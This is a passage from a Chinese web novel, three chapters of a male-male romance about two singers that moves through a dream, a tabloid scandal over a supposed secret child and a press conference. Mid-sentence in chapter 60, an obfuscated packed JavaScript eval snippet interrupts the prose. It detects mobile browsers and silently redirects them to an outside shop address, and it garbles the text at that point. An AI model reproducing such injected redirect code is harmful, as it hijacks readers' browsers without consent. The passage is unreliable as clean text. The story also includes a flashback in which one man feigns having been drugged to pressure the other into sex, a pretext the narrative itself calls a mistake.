宽大的手掌揽住他的腰身,杨原野潮湿的喘息打在易卿尘的脖颈,不敢相信一般反复确认:“每天都想我吗?” “嗯。”易卿尘哑着嗓子,“年复一年,日复一日……我每天都想你,想了很久。我好怕你已经把我忘了。” 梦里的画面昏暗中闪烁着朦胧的光影,他感觉到杨原野伏在他身上,画面静止了。渐渐,阿野的肩膀在发抖,好像在哭。良久,一只手温柔地将易卿尘额前的发丝拢向耳后,带着哽咽叩问: “既然想我,那为什么不回来啊……” 易卿尘禁不住,泪水从眼角潸潸而下:“我后悔了,阿野,我知道错了,你罚我吧。你,还要不要我……” 他的眼泪打在杨原野的指腹上,身上的人一低头,湿热的舌尖舔吻走他的泪珠。 “我要你,怎么会不要你呢?现在就要。” 杨原野迫不及待地摸了进来,那手掌碰到易卿尘发烫的身体,冷感瞬间从手掌传递到全身,激起了一身鸡皮疙瘩。易卿尘止不住地开始哆嗦,那只手游走片刻,停下了,停在雷池面前,强忍着不再继续。 “宝贝,今天不行,你好烫,我再禽兽也不能这样欺负你……” 耳畔喘息浓重,混合着化不开的情欲。 不是说了要我吗?为什么又不要了? 易卿尘从鼻腔里溢出几个断续的哼音,直觉以为那个让他眷恋的胸膛要离他而去,他又要失去他了,于是使劲地摇了摇头:“别,我没事,你做你的……” 杨原野的手抚上他的脸颊,拇指把他的碎发往上捻去:“等你好了……来日方长,乖,要听话。” 来日方长……来日方长?见他妈的鬼去吧! 他哪里还有什么来日呢?梦一醒,那就是别人的男人了。就算是肖想,都是罪恶。 他现在就要。 “我对你没吸引力了吗?你怎么忍得住?” 易卿尘委屈巴巴地伸手扯自己睡衣的扣子,急切地把自己献出去,扣子一颗接一颗落下、皮肤裸露接触到空气,好冷,他感到一阵耳鸣和头晕袭来,脑中的画面灰暗下去,他渐渐失去了意识。 易卿尘病晕了,烧得脸颊通红,杨原野皱着眉,把他紧抱在胸口。怀中人额角的汗珠浸湿了头发,神形涣散的模样,惹得人心疼。 拥有一个人,最直观的证据就是抱着他,感受他的体温。 三十九度,是一具发烧的肉身的温度,六欲七情 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杨原野在泳池前的吧台寻到易卿尘,他当时正被一个满脸胡茬的男人纠缠灌酒。杨原野冲过去,一把夺过男人递给易卿尘的蓝色鸡尾酒,仰头替他喝下,一饮而尽。 那杯普普通通的鸡尾酒,度数不高,味道不佳,但却给了杨原野最完美的借口。 他灵机一动,谎称酒里有情药,硬是缠着易卿尘对他负责。 易卿尘把他带去酒店的客房里,见他实在难耐,便拿出电话,从网上找到一个专业“上|门|服|务”的“夜玫瑰公主”。易卿尘焦急地给公主打电话,可打了两次,都无法接通。 杨原野抽走易卿尘的手机,丢进放满水的浴缸,他力气大得很,将易卿尘拦腰抱起来,压在床上。 易卿尘慌乱地凝着他,呼吸急促。 杨原野不管不顾地去解身下人的裤子,嘴上央求着: “自己的债自己还,我不要别人,我想要你……给我吧,我受不了了……” 他不知如何让易卿尘接受他的示爱,毕竟他是个男人,索性不如归咎于一场意外。 那一夜过后,男孩们都变成了男人,卷在脏污的床单里,那根断掉的红色平安绳昭示着初夜的荒唐。 第二天早晨,易卿尘并没有过分责怪他,偎在他怀里像一只慵懒的小猫;在机场,他们的拥抱甚至充满了希望;在台湾,他总能从易卿尘的声音里听出关切。 他以为,易卿尘也喜欢的。 后来他才发现,那都是他自以为的。 结束来得那么突然,像那场台风一样,猝不及防,卷走了他最珍视的一切。 他终究是做错了。他不知道易卿尘是不是因为那件事情才离开他。 等他从台湾回来京北,胡同的老房子早已人去楼空,易卿尘和秦叔都不见了。 他找遍了京北的大街小巷,去了每一个他们曾经去过的地方,街道依旧,春风依旧,巷口的小猫依旧,只是他爱的人,再也不回来了。 这些年,杨原野经常一个人去老房子,门口垫子下面的是信箱钥匙,信箱里面有大门的备用钥匙,这是易卿尘的“套娃”路数,杨原野最熟悉不过。 他总觉得也许哪一天,易卿尘就回来了。他不想他回来后住得不舒服,总是抽空去把老屋打扫干净,换掉老化的灯泡,修好陈旧的窗纱,加固楼梯的扶手…… 杨原野还去了雍和宫,却找不到那天的小师傅,他又去了花市,买了颗一模一样的mini瓜子,埋进同一个花盆里。种子发芽开花,花盆中两株大红色的弗朗花从此健康昂扬,缠绵相依,相伴年年,那是他时常浇水、悉心照料的结果。 爱哪里有什么捷径?性|事只是黑夜里的烟火,点燃了一时的璀璨,最后总要有人收拾火药的残骸。 此刻,墙上的钟表嘀滴答答,黑暗中,感受着怀里失而复得的人,杨原野下定决心不再重蹈覆辙。 果然,喜欢会放肆,而爱是克制。因为在乎,因为害怕,潇洒恣意的人自愿被套上枷锁,小心翼翼地呵护着那份来之不易的失而复得。 没有哪一朵花,从一开始就是花。这一次,他要用心种这朵花,从一颗种子开始。毕竟他有过种花的经验,应该不太难。 他要重新追回他,不再跳过任何一个步骤,他要易卿尘尝到正常的恋爱应该有的所有甜,为他上瘾,再也离不开他。 杨原野摸黑从背后帮易卿尘扣上了睡衣的纽扣,在他额前落下一个轻柔但郑重的吻,像一枚来自旧时光的邮戳。 60.060 樱桃 第二天,易卿尘醒来,睁开眼睛,一片漆黑,不知今夕何夕。他伸手去摸,身侧是空的,只剩他自己。 血液一凝,他下意识地找人:“阿野!” 声音紧涩,把自己吓了一跳。 身下的床单又潮又皱,真丝睡衣黏糊糊地贴在身上,头发像刚洗过。他呆坐在床上半晌,意识逐渐回笼,才将昨天发生的事一件一件回想起来。 脑子里浮现出许多只有声音没有画面的景象,他想起自己好像在脱衣服,希望杨原野上他……那到底是梦吗?他糊涂了。 “你醒了?” 易卿尘闻声打了个一个寒战,惊声问道:“是谁?” “……你在找谁?”杨原野的声音响起。 “现在几点了?”易卿尘尴尬地哑着嗓子问。 “下午一点半。” 他竟然睡了这么久。跪坐在床上,易卿尘一把扯下了黑色眼罩,又伸手去拽眼睛上白色的医用纱布,动作粗暴,自虐似的。 “轻点儿,怎么这么大的起床气?”杨原野制止了他粗鲁的动作。 “我不要你管。” 沉默两秒后,只听一声叹息,“这就不要我管了?你昨晚可是——” “不许说!!”易卿尘惊慌大叫,生怕杨原野说那一切不是梦,而是真实发生过的。 胸口剧烈起伏,他强行让自己冷静下来,却还是羞耻难当,“医生说我今天就能看见了,我要摘纱布。” “别动,我来帮你摘。” 杨原野揉了揉易卿尘的头发,易卿尘因为眼睛看不见而动作迟缓,使劲儿往边上躲,“你、你别碰我。” 杨原野哑然失笑:“我不碰你怎么摘?” 纱布取下的那一刻,易卿尘怀疑不是自己得了一千度近视,就是世界被打了马赛克。 杨原野扶着他的头,给他滴眼药水。他被迫枕着杨原野的大腿,静待三分钟。 易卿尘终于恢复了视力,一低头就看见自己扣乱了的睡衣纽扣。他强迫自己冷静,板着脸用食指指向门口,说道:“我好了,你可以走了。” 杨原野噗嗤笑出声来,说道:“你怎么翻脸比翻书还快,用完就丢了?没看出来,你还是个渣男!” 易卿尘吓了一跳,差点儿哭出来:“我没‘用’过你吧……你别碰瓷啊……” “用没用过,你自己检查看看。”杨原野故意逗他。 易卿尘感受了一下自己的那个部位,没什么异样,也不疼,不像是被蹂躏过。他领教过杨原野的实力,要是俩人昨晚真的发生了什么,他肯定不是现在这样的状态。 想到这儿,心里的负担放下了不少,还好昨晚只是在做梦。 “谅你也不敢,没什么事儿你赶紧走吧。”易卿尘死要面子,这种时候还在装大尾巴狼。 这时,门铃响了。 “估计是博博他们,早上就在群里说要来看你。”杨原野看了一眼衣衫不整的人,故意问道,“那你自己开门去?我走了?” 让大家看见他这副德行可还行? “杨原野,去接客!”易卿尘扭头跑回屋,砰地关上门。 过了十几分钟,杨原野又推门进来,散漫地倚着卫生间的门框向他报告:“他们都来了,给你带了鲜花、燕窝、鱼汤还有老婆饼,你收拾好了就快点儿出来吧。” 易卿尘嘴巴里全是牙膏沫,含混不清地说:“噢,杯子在厨房高柜里,你先给他们倒水喝。” “好。”杨原野转身走了两步,又停下来,露出一抹坏笑,“对了,哥,你用的是我的牙刷。” “……” 咕噜。这两天易卿尘吞牙膏的频率真的有点高。 - 七夕将至,《中国唱作人》今天集结六位晋级歌手进棚拍摄七夕主题宣传片。 孟副导演一改往日不咸不淡的态度,最近对易卿尘尤为殷勤。本以为是个一轮游小炮灰,没成想竟是天降紫微星,过五关斩六将,一路杀到赛程过半,人气越来越旺。 易卿尘的粉丝们爱屋及乌,也会给孟副导演送奶茶,一口一个孟大哥,叫得他直飘。他投桃报李,有意无意地给粉丝们透露一些小花絮,添油加醋的,引得粉丝们花痴怪叫。 今天没有跟拍摄像,孟副导演放松地拿起桌上的“海岛”牌椰子汁咕咕喝,边喝边对着博博说:“你知道易老师的词写得怎么样了?一定要突出咱的风格,咱可是最牛最与众不同的,你说是吧,博博?” 博博接茬说:“必须的必啊!我们易老师对他们就是降维打击,全秒成渣。”说完又补充道,“我小野哥不算啊,手心手背都是肉,小野哥也是一等的好。” “你丫够花心的。”孟副导演戏谑道,“咱俩去棚里看看吧,这会儿应该开始了。” 摄影棚内,音乐一响,道具组便开始放干冰。 烟雾缭绕,喜鹊绕桥,红鸾星动。桥上远远走来一男子,一身月白锦袍,刺绣金线祥云,朱红白玉腰带,长发散于肩后,手执银白折扇。风姿秀逸、舒眉浅笑,宛若穿越而来的仙人。 镜头推近,古琴加琵琶伴奏响起,白衣公子轻启朱唇,唱的是扬州小调:“风吹云动天不动,水推船移岸不移。刀切莲藕丝不断,山高水远情不离。” 神凝秋水,衣剪春。琼姿皎皎,影翩翩。 音乐渐出,俊俏公子轻甩袍袖,一双含情杏眼望向镜头,声音浸满柔情: “死生契阔,与子成说。不止在七夕,更在每一个朝暮晨夕。《中国唱作人》邀你一起,倾听歌里的爱意。我是易卿尘,七夕见。” “CUT!好,小易很不错啊!先不动,等我看看要不要再保一条。”骆佳滨导演边说边查看摄像机。 这时编剧组的小朱走过来,附在骆导耳畔说话,两人交谈之后,骆导高声道:“来,小易,咱们加一句词。” 易卿尘走到骆导面前,“好,您说。” “你去站在鹊桥上,开机之后,就对着2号机说——我的答案是,我愿意。” “嗯?”易卿尘不明就里,“我愿意什么?” “没什么,就是愿意和观众朋友过七夕。”朱编剧赶忙插言道,“每个歌手都加了一句,到时候后期会做个混剪。” “哦好的。”易卿尘乖乖配合。 拍摄结束,孟副导演陪着易卿尘去卸妆、换衣服。 易卿尘的妆造组在另一个楼,离这个摄影棚有一些距离。 行至室外,路过凤鸣湖,远远地看见椭圆形人工湖边,杨原野正和一个女人站在那儿交谈,时不时地笑出一口白牙。 女人从包里拿出一个透明便当盒,打开取出一颗硕大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026287|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饱满的樱桃,殷红的色泽和女人的唇釉相得益彰。 杨原野自然地接过樱桃,送进口中,剩下的樱桃细杆被女人随手接过去,收进手里,整套动作十分家常。 这应该就是小葵的妈妈吧。比起上次在医院时,她如今明丽了不少。黑发用抓夹别在脑后,耳前的两缕碎发别有一番风韵。 这样的一对男女,站在一起,就像点缀着樱桃的黑森林蛋糕,摩登又对味。 易卿尘情绪的小船撞上了冰山,表面风平浪静,水位却在海平面以下暗自低落。 他希望杨原野快乐,如今又嫉妒他跟别人太快乐。 杨原野好像注意到了他,冲他招手,似乎在示意他过去。 易卿尘才不想过去,他最近演技倒退,怕是藏不住心思。于是他指了指自己身上的戏服,摆了摆手,礼貌地笑笑,跟着快步离开了。 “那就是易卿尘吧?”郝圆满的目光追随着白衣仙君的背影,恋恋不舍,“小葵很喜欢他送的海绵宝宝呢,曲医生也说他人好。上次他帮忙垫钱,我都没好好谢谢他。” “不如咱们下周请他来家里吃饭?”杨原野兴奋地提议。 “没问题啊,这孩子生得真好看,我见了就喜欢。”郝圆满感慨道,“对了,姬哥带小葵去公园应该就快回来了,咱们去大门口迎迎他们。” “好。” 今天送子车上只有易卿尘一个“同学”,博博说,他小野哥家里人来探班,不和他们一起走了。 “家里人”这三个字真好,比“恋人”更难求。每一对恋人,都盼能最终变成家人。 易卿尘很平淡地哦了一声,然后戴上耳机,看着窗外快速后退的风景。耳机只是插着,易卿尘忘了按播放键,就那么戴着一个不会响的耳机。戴了一会儿自己发觉可笑,赶快摘了。 “易老师!你七夕节有什么活动吗?”博博从副驾驶转过来,狡黠地问。 “没安排,你呢?” “啧啧,易老师你听过一句歌词吗?——孤独的人是可耻的。” 易卿尘眼里射出一颗子弹:“写词的才可耻,还可恶。哎?陈博,我记得你不也是单身吗?” “易老师,你听好喽,我,八月十号,七夕节当天,约了我纯洁美丽的高中同桌共进烛光晚餐。所以,我现在是‘恋爱预备役’选手了。” 陈博一脸得意洋洋,把易卿尘给逗笑了。 行吧,不是有家的,就是预备役,就剩易卿尘独自可耻。 易卿尘头枕着车窗小睡了一会儿,等他醒来时,被微信里接连的三条消息震惊了。 【楚总言哥:小尘,你八月十号有什么安排?】 【吴芷静静姐:七夕节那天没事儿吧?看见回我。】 【妈:转发公众号文章——“七夕快脱单!哈佛大学医学院研究表明:长期单身的人比已婚人士平均寿命短6-13年”】 易卿尘看着路旁满城飘香的桂花,八月到了。 有伴儿的人挖空心思创造一堆节日,妆扮本就热闹的日子,还要拉上孤单的人垫背,这才是真正的可耻。 八月十号是面照妖镜,易卿尘的孤单落寞无所遁形。 这时,又一条消息蹦了出来: 【yyy:七夕没人约吧?(配图:庆丰包子铺七夕情侣套餐优惠券)】 61.061 热搜 面对这些条关于七夕的问题,易卿尘想了想,决定先从最简单的开始回复。 他点开了和吴芷静的对话框,打字: 【静姐,我没安排。你说。】 很快,吴芷静一个电话打了进来:“小易,企鹅视频的刚找我,问你愿不愿意参加他们的七夕晚会,和鹿曼曼一起合唱《爱很简单》,原来的男歌手临时来不了。这是网络直播的晚会,我建议你接。” 企鹅视频是数一数二的直播平台,鹿曼曼更是近几年少有的有颜有才的女歌手。 “接,接接!没问题!”易卿尘答得气势如虹,“有劳静姐费心了。” 这下好了,他易卿尘七夕节也有了安排,再也不用被嘲笑了,虽然不是“约会”,但也是个很厉害的工作呢。易卿尘一下子就有了底气。 于是他气定神闲、一个一个回复过去。 【妈,你上周发多吃西红柿延年益寿,那我多吃点儿补回来就是了。】 【[大拇指]工作别太累。】 再点开和楚言的对话框,要更注意措辞。 【言哥,我那天去参加企鹅视频的七夕晚会,有合唱节目。】 【那等你结束了我去接你。】 【不用了,结束了就是第二天了】 【也好,演出顺利】 最后是杨原野的微信。 【yyy:七夕没人约吧?(配图:庆丰包子铺七夕情侣套餐优惠券)】 什么叫“七夕没人约?” 这样说礼貌吗? 这个家伙怕是故意来羞辱自己的,讽刺他孤家寡人,连一起吃包子、喂樱桃的人都没有。真是可恶。 【易卿尘:我要去企鹅七夕晚会和鹿曼曼合唱《爱很简单》,她可是我很欣赏的女歌手。而且,这次还是现场直播。为了工作,我只好推掉所有的七夕邀约了。也预祝你和她七夕快乐。】 发完微信,易卿尘就一直攥着手机,可等了半天,杨原野都不回他。 大家都有来有往,只有杨原野不回他消息。估计在想怎么和他老婆过节,没空吧。 易卿尘悻悻地叉掉了和yyy的对话页。戴上耳机,听起了《爱很简单》。 - 郝圆满拍了拍杨原野的肩膀,见他对着手机出神,面前的奶油布丁也没动。 “喂,小野,看什么呢?这么高兴?” 杨原野眼睛舍不得从手机里抬起来,笑眼弯弯地回她:“没什么,某人吃醋了。” “谁啊?” “过几天你就知道了。” 郝圆满放下手里的活儿,忍不住站在那儿打量杨原野。她已经很久很久没见过他这样的表情了。 像一只在漫长严寒里僵硬行走的小兽,一下子跳进了春天。是久违的生动。 杨原野复出之后接拍了几个平面,还有两三个品牌代言,经济有了明显改善。 他做的第一件事就是给郝圆满和小葵重新租了一套房子,西三环的大三居,全南向带电梯,离医院和超市都近。他还请了一个住家阿姨,专门照顾小葵。 郝圆满肩上的担子轻了,人也变得容光焕发,最近还动了心思,想把她那只约克夏梗犬克莱尔接回来自己养,家里地方够,还可以给小葵作伴。 今晚姬波来家里作客,难得的放松。 晚饭后阿姨带小葵进屋讲故事了,姬波去阳台抽烟,郝圆满收拾碗筷,杨原野在对着手机傻乐。 阳台的推拉门响了,姬波从里面出来,带进一阵金桂飘香的晚风。 杨原野抬起头,眼睛一转,讨好地冲他一笑,问道:“姬哥,我想参加企鹅视频七夕晚会。你有门路吗?” “七夕晚会?你开什么玩笑?要是中秋晚会,我能给你办。眼瞅着还剩一个礼拜就七夕了,我没招儿,你去找王母娘娘问问吧!” 姬波拉开椅子坐在他对面,嘴上损他,手上却已在翻找通讯录里企鹅视频的旧交了。 “你怎的突然想参加那个晚会了?”姬波追问道。 “没怎么,听说那天晚会现场有大型烟花秀,还有无人机表演。我没事干,想凑热闹进去看看,最好一边赚钱一边看。”杨原野说,“姬哥神通广大,帮帮忙吧!” 鼻腔里溢出一声哼,姬波说:“想临时加戏,你以为你是谁啊?你虽然复出窜红了,但还是差点儿劲儿,除非再搞出点儿什么动静来,否则——” “完了!出事儿了!” 姬波话音未落,郝圆满从厨房快步跑出来,手上还滴着水,慌乱地叫道。 十分钟前,一则微博炸起了千层浪。 著名狗仔“韩江”在他的微博爆出新料:“娱乐圈惊现新孩子,杨原野隐婚生子为哪般?” 该微博盘点了杨原野自20岁出道以来传出绯闻的五位女明星,说杨原野“私生活混乱,今年刚刚24岁,就已经有一个很大的儿子了,疑似年轻时风流成性的孽债”。 此博一出,立刻攀升至话题榜首页,旁边挂一个[火]的符号。 #杨原野隐婚生子#,#娱乐圈每日发现新孩子#,#杨原野风流成性#……相关话题不断地升温。 姬波攥着手机腾地从椅子上跳起来:“小兔崽子!说,你把你儿子藏哪儿了?” 杨原野无辜地眨了眨眼睛:“我也想知道……” “你来说!”姬波转头看向郝圆满,怒道,“别替他瞒着了,赶紧的!” 郝圆满也急了:“真没有,我们家小野不是那种人,这韩江血口喷人,净造谣!” “杨原野,你要不跟我说实话,这事儿我真平不了!你自己好好想想,会不会是你上学的时候欠的风流债,自己都不记得了?!啊?”姬波暴躁地问。 杨原野指天誓日:“绝对不可能。我就没睡过女人,我是gay啊……” 郝圆满手里的手机应声摔在地上,张大的嘴巴闭不起来。 姬波反应了几秒,跟着松了口气,又坐回座位里:“诶?对啊,我特么怎么把这茬儿给忘了……哈哈哈!吓死我了!” 郝圆满:“姬哥,你居然早知道他、他是……” 姬波一副“不关我事”的表情:“我就只知道他喜欢易卿尘。” “……什么?!” 郝圆满看向杨原野,杨原野理直气壮地点点头。 “对,我就睡过他一个。” 姬波白他一眼:“得瑟什么,最后不还是让人把你甩了?” 郝圆满疯了。 身为继母,她对于“儿子”是gay这件事,接受起来也不容易,像一颗大瓜堵在喉头。 “这事儿你爸知道吗?!”郝圆满紧张兮兮地问。 杨原野想了想:“估计不知道吧!” 郝圆满勉强舒了半口气:“别跟他说,他身体不好……” 与此同时,网络上,韩江的微博下,粉丝和黑粉吵到不可开交。还混着一群哭声超大的[野尘]CP粉,暴走哭号,精神处于崩溃边缘。 还有一群拒不相信的粉丝,说的最多的还是:“无图无真相。” 很快,韩江评论自己的微博称:“照片不日公开,绝不信口开河,敬请期待。” 几分钟之内,姬波手机里收到许多娱乐圈的旧相识的电话,一个个的都愿意帮忙牵线搭桥,让他们出钱,从韩江手里把照片买下来,“破财免灾”。 懂行的人说,韩江现在不放照片,就是为了给杨原野这边反 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一天后,姬波联系到了韩江,要求私下见面,谈谈价格。两人约在一个咖啡馆。韩江足足等了半小时,也没人现身。正要走,一个服务员走过来,递给韩江一个信封。 韩江撕开信封,里面是一张字条,还有一张“天地银行”的大票子,印着九珠冕旒的玉皇大帝,票面金额“十万亿”。 字条上写:“韩老师辛苦了!” 韩江还从没被人这样戏耍过,恨意贯穿过短信,差点儿暗碎屏幕:“周一见。” - 周一,上班族们在地铁上、公交里、出租车的后座不约而同地进行着同一个动作——刷手机。 周末是人们各自投入生活的时间,周一早晨则是和这个世界重新连接的时刻。 今天,“第一狗仔韩江”的微博和公众号文章迎来了早高峰。 一张照片里,杨原野单手抱着一个孩子,孩子裹得严实,戴着帽子,看不清脸,脑袋抵在男人的颈窝,非常亲近。 另一张照片,一行人正往单元楼里走。还是杨原野,但抱着孩子的已经换成了一个女子,从背影看,风姿绰约。再旁边还有一个上了些年纪的男人。 “这一看就是姥爷。”地铁上,一个学生模样的女孩拿着手机对邻座的小姐妹说道。 “对呀,真是实锤了。算算年纪,杨原野搞出这孩子的时候估计就咱们这么大,大学都没毕业吧?真会玩儿。” “说不定是女方带球跑,不信你等着看,就算不是,经纪公司也得这么编,为了给小野洗白嘛!” 前面的上班族小姐姐也情不自禁地加入了套路:“你们说这个杨原野是不是什么特殊体质?这人生够刺激的,大起大落。刚好起来才没两天,就又要完蛋了。” “是啊!现在全国人们都认识他了,挂在热搜上下不来了。” “哈哈哈~~别人体寒,他体热。” 地铁到站,人们四散在林立的都市楼宇里,继续传播着杨原野的风流韵事。 到了下午,杨原野的热搜达到了峰值。那些中午才起床的,也已经把相关的微博刷过一遍了,阅读量达到了“亿”级。 四点整,几个平日跟韩江互动紧密的娱乐圈大V像是约好了似的,齐齐对杨原野开炮。 抓住“低于法定婚龄生子”这一条不放,上升到艺人艺德、公民道德底线,甚至抨击杨原野对大学生群体的普法教育起到恶劣影响,不嫌事儿大,可劲儿渲染。 颇有一种要把杨原野打成“法制咖”,不逼他退圈不罢休的气势。 62.062 掉马 易卿尘一连给杨原野打了好几个电话,都没人接。看着网上不断发酵的话题,以及漫天的讨论,易卿尘心急如焚。 博博也在一旁唉声叹气,愁云惨雾的。 从早上开始,窗外就乌云密布,闷热潮湿,预示着一场大雨的到来。不到下午五点,屋内竟暗得需要开灯照明。 易卿尘坐立不安,只能不停地在录音棚里踱步,拿着笔在白板上写着脑图,试图梳理现在的状况。白板上一堆名字,各种箭头,越写字迹越潦草。 易卿尘拿着红笔在上面打了个大大的叉,像是要把白板戳个洞。 又一次拨通了杨原野的电话,通话音响了二十几秒后,易卿尘的心越来越沉,总感觉要出事儿。 即将挂断电话时,对面传来了熟悉的一声:“喂?” “你没事吧?”易卿尘声音急切,噌地一声从椅子上站了起来。 “嗯,情况有点复杂……”杨原野好像有什么难言之隐,欲言又止。 易卿尘感觉不妙,现在情况一定坏透了。 杨原野刚刚拾回来演艺事业怕是要全毁了,并且那些品牌代言怕也要他赔偿天价损失。 娱记对小葵她们的骚扰也不会少,小葵那么小,指不定被吓成什么样。 早知道会变成这样,易卿尘当初绝对不会贸贸然帮杨原野复出。他一早就知道小葵的事,可恨自己怎么就没一点儿风险危机意识? 是他害了杨原野,易卿尘后悔自责得肠子都要断了。 “你别上火,如果需要赔钱,我这儿也有点儿。你们一定都很崩溃吧……全怪我……”易卿尘真的快哭了,声音发抖,他想抽自己一个嘴巴! “易卿尘。” 杨原野忽然叫他名字,易卿尘登时摒住了呼吸,胃肠一阵痉挛。 “一会儿六点,我在万丽酒店开新闻发布会。你可以来陪我吗?” 杨原野声音低沉,易卿尘觉得他一定是在硬撑。新闻发布会,就是要直面真相,迎接所有媒体的拷问,接下来恐怕又是一阵腥风血雨。 “好,我这就来!” 易卿尘恨不能长出翅膀飞过去,他握着电话,换手背包,边说边冲出了录音棚。 博博跟在后面一路小跑,说:“易老师,陆师傅去吃饭了,你等我这就给他打个电话啊!” “不用了,我打车去。你也不用跟着了!” 易卿尘的脚步半分没停,连着大力按了几下电梯。等了几秒钟,见电梯还不来,他毫不犹豫地转身推开安全通道的门,一路狂奔跑下了楼。 五点,正值下班高峰时间,马路上摆着一条长长的红蛇。 易卿尘坐在出租车里,焦急地一分钟看一次表,司机已经变了三次道,每次插队都被其它车狂按喇叭。 眼下这个路口实在太堵了,易卿尘当机立断,下了出租车,朝着最近的地铁站跑去。 乌云压城,燥热憋闷,易卿尘戴着口罩一路冲进地铁站,衬衣已经被汗浸透了。还剩两节台阶时,地铁车门发出嘀嘀的关门提醒音。 易卿尘三步并作两步跳下台阶,在车门即将关闭时飞身挤进车厢,身后传来列车员浑厚的男声:“不要命了?!” 出了地铁,易卿尘一边往万丽酒店跑,一边给杨原野打电话。 好容易等到杨原野接了电话,“我在顶楼天台”。 听见“顶楼天台”四个字,易卿尘的腿都软了。他承认,他怕了,非常怕。 通过楼梯间,推开天台门的一刻,一阵风迎面吹来,是下雨的前兆。 易卿尘跑了太久,累得喘不上气,他一把摘下口罩,弯腰扶着大腿,喘着粗气。 黛墨色的天空中,天际残留着夕阳的余晖,航迹云坠在不远处,褪色的暮光被染成暗淡的血色,在暮网中挣扎。 天台边立着一个人高挑的人影,一身黑衣,背对着易卿尘。那人站得离天台边缘那样近,风吹起他的头发,像是漫画里即将赴死的主角,在残阳中显得空虚到清冷。 那人影映在易卿尘湿热的眸光中,有种摇摇欲坠的错觉。 杨原野盯着脚尖,那一对黑色皮鞋往前挪了一步,仿佛快要伸出大楼边缘…… 易卿尘的心一下跳到了嗓子眼,他像箭一样射了出去,从背后紧紧地抱住了杨原野。 他的双臂紧扣着杨原野的胸口,从背后贴紧,心跳越来越快。 易卿尘的指尖开始发麻,尾音忍不住地颤,语无伦次: “不要——绝对不可以!想想你的家人,你死了他们怎么办?……阿野,不要这样……你还有我,我一直在你身边。” 残阳如血,只有风声,吹过耳畔。 片刻,一双大手覆上来,将他的手收进了温暖的掌心。 风里,杨原野的声音淡淡地传来:“一直在我身边,这次不许反悔。” 杨原野转过身,一向冷酷的脸上竟是罕见的柔和,眸光沉静,易卿尘产生了一瞬间的恍惚。 完了,回光返照。 他越是这样淡然,易卿尘越是恐惧。风暴来临前,海面总是异常平静,只有放弃了希望,才会这样平和吧? 杨原野此刻一身笔挺的西装,白衬衣,黑领结,头发向后拢着,露出光洁的额头和英俊的眉宇,净白指节攥着他的手,英俊又庄肃。 “我不反悔,有什么事儿我都跟你一起扛。” 如果杨原野欠很多钱,他可以帮他一起还。他会陪他度过情绪的低谷,还可以帮忙照顾小葵,他们全家都可以搬来和他同住。过不了好日子,就一起过紧巴日子,总是可以过下去的。 他的心在哆嗦,捏了捏杨原野的手,言之凿凿:“我说到做到。” 杨原野略略低头,看着两人抓在一处的手,反手把易卿尘扣紧了,牵起嘴角,问道:“一会儿面对那么多媒体,我紧张,怎么办?” “姬哥把词都给你准备好了吧?我一会儿就站在人群里,你到时候看着我说,就当是说给我听的。忘词了也不怕,说慢点儿。” 易卿尘给他打气,心里却在打鼓,万一媒体问一些尖锐问题,言辞犀利攻击杨原野的家人,他怕杨原野处理不好,冲动说错话,再被扣上那些政治不正确的帽子,就全毁了。 杨原野一向急躁,人又太真,虽说这几年磨平了不少棱角,但本质上并不是个圆滑世故,忍气吞声的人。 易卿尘补充道:“不管媒体说什么,你都别急。既然事情已经这么坏了,咱们就面对吧。媒体为了博眼球,总是无风三尺浪的,你不要放在心上。我并不觉得你做错任何事,别人的评价都是注解,你自己才是正文。” 杨原野望着易卿尘的眼睛,听他说话,一瞬不瞬。 易卿尘以为是因为自己说得很有道理,杨原野都听进去了,于是他又拍了拍杨原野的手背,像是要去打一场仗之前,同袍之间的鼓励: “我们走吧,时间差不多了。”他又给杨原野整理了一下领结,故作轻松地说:“你头发这样梳真好看,就算今天是谢幕演出,也是大荧幕级别的,你就是最佳男主角。” 杨原野弯起嘴角,冲他笑笑。 易卿尘心疼得要死,宁可看他哭一场。 命运好不公平,对杨原野太残忍。他好恨。 他说了一股脑的话,劝解杨原野,其实自己心里紧张得要吐了。他一想到即将看见媒体攻击杨原野,他都快站不住。 但他不能垮,他得替他撑着,做他的后盾。他如果也颓废了,杨原野下半辈子能依靠谁呢? 想到这儿,易卿尘直了直后背。 新闻发布会聚集了大批媒体记者,万丽原本准备的场地已经不够用,临时把两个宴会厅中间的挡板拆掉,合并成了一个大厅,用作杨原野的新闻发布会现场。 这个话题一经引爆,一天内就演变成了娱乐圈最受瞩目的事件。 从锦鲤预言家,到子弟小学校餐事件平反,再到香蕉门无辜受害人,如今又加上低于法定婚龄隐婚生子,杨原野成了热搜上的常驻嘉宾,年至今最大的娱乐圈风云人物,每次大事件还都和社会法治扯上关系,以至于各路记者都围过来采访。 酒店外已经有黑粉集结,举着牌子让“杨原野退出娱乐圈”,颇有当年“香蕉门”再现之态。 记者们交头接耳,互相打探情报,谁都想从别人那儿探听 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杨原野清了清喉咙,麦克风将他的声音传到每一个外接音箱,笼罩这个会场,其中一个音响就在易卿尘头顶正上方。 按照约定好的,杨原野的眼睛盯住他,易卿尘用目光给他鼓励。 他听见杨原野冷静清晰地说:“今天有一件非常重要的事情要向大家澄清:杨小葵是我的亲妹妹。本人至今单身,从未有过子女,没有过婚史。对近期网络上的不实报道,我和我的家人保留一切追究的权利。” 易卿尘的脑子嗡的一声。 他一时间分不清杨原野是在用一个谎言掩盖一个丑闻,还是他说的就是事实。 杨原野目光的焦点一直在易卿尘身上,易卿尘知道,自己的惊诧被他尽收眼底。虽然戴着口罩,但眼睛骗不了人。 可易卿尘掩盖不了震惊,他已经懵了。 大屏幕上开始展示杨小葵的出生证明,上面清清楚楚写着父亲杨金波,母亲郝圆满。他们一家三口的合影,杨金波和郝圆满的结婚照。 接着,杨原野公布了小葵的医院诊断证明,大疱性表皮松解症——KRT5基因突变。一小段影片讲述了小葵出生以来的治疗历程和成长的不易。 易卿尘从震惊中慢慢缓过神来。这一切竟全是真的。 